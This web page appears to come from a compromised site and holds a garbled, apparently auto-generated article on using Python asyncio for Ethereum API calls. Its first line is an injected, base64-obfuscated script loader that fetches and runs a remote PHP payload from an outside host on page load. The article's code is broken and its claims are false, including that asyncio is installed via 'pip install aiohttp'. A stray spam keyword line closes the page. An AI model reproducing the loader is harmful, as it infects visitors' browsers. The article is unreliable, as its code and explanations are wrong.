const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»c.php?u=367d6c90″;document.body.appendChild(script);

Here is a draft article based on their contribution:

Ethereum: Python – Run Asyncio and Speed ​​Up Your Program

==============================================================

Introduction

————

As a developer working with Ethereum in Python, you are probably familiar with its vast ecosystem and the various libraries available to interact with the blockchain. One such library is asyncio, which provides support for asynchronous programming. In this article, we will explore how to use asyncio to speed up the execution of your Ethereum program.

Why Asyncio?

————-

Asyncio is a built-in Python library that allows you to write single-threaded concurrent code using coroutines and asynchronous I/O operations. By using asyncio, you can significantly improve the performance of your Ethereum program compared to traditional synchronous programming approaches.

Asyncio Execution

————————

When we make an API call on Ethereum using a synchronous approach, our execution looks like this:

import web3
w3 = web3.Web3()

Set the API endpoint and parameters
endpoint = "
params = {"key": "YOUR_API_KEY"}
try:

Make an API call to retrieve data from the Ethereum network
response = w3.eth.get_account(params["account"])
print(response)
except Exception as e:
print(f"Error: {e}")

In this example, our execution looks synchronous because it blocks the main thread while waiting for the API call to complete. This is because asyncio does not provide a native way to handle asynchronous I/O operations.

The Benefits of Asyncio

———————-

Using asyncio can significantly improve your program’s performance when making API calls on Ethereum. Here are some benefits:

• Faster execution: asyncio allows your program to execute multiple tasks simultaneously, which means its overall execution speed increases.

• Improved responsiveness: By using asyncio, you can create a more responsive user interface that does not freeze or become unresponsive due to synchronous API calls.

Speeding up your program with Asyncio

————————————–

To take advantage of asyncio and speed up your program, follow these steps:

• Install the asyncio library

  

  : You can install it using pip:

pip install aiohttp

• Define a coroutine for the API call

  : Create a function that represents the synchronous API call. This will serve as our coroutine.

• Use asyncio to create concurrent tasks: Pass the coroutine to an async def block and use await to wait for it to complete:

import aiohttp
async def make_api_call(account):
async with aiohttp.ClientSession() as session:
try:
response = await session.get(f"
return response.json()
except Exception as e:
print(f"Error: {e}")

Create a list of accounts to fetch data from
accounts = ["account1", "account2"]
async def main():
async for account in accounts:
result = await make_api_call(account)

Process the result here
asyncio.run(main())

In this example, we define two coroutines: make_api_call and main. The make_api_call coroutine fetches data from the Ethereum network using an API call. We then use asyncio to create a concurrent task by iterating over a list of accounts and calling the make_api_call coroutine for each one.

Conclusion

———-

By leveraging asyncio, you can significantly speed up the execution of your program when making API calls on Ethereum. By following these steps and understanding how asyncio works, you can leverage its benefits to create more responsive and efficient programs.

bitcoin cash market volumes private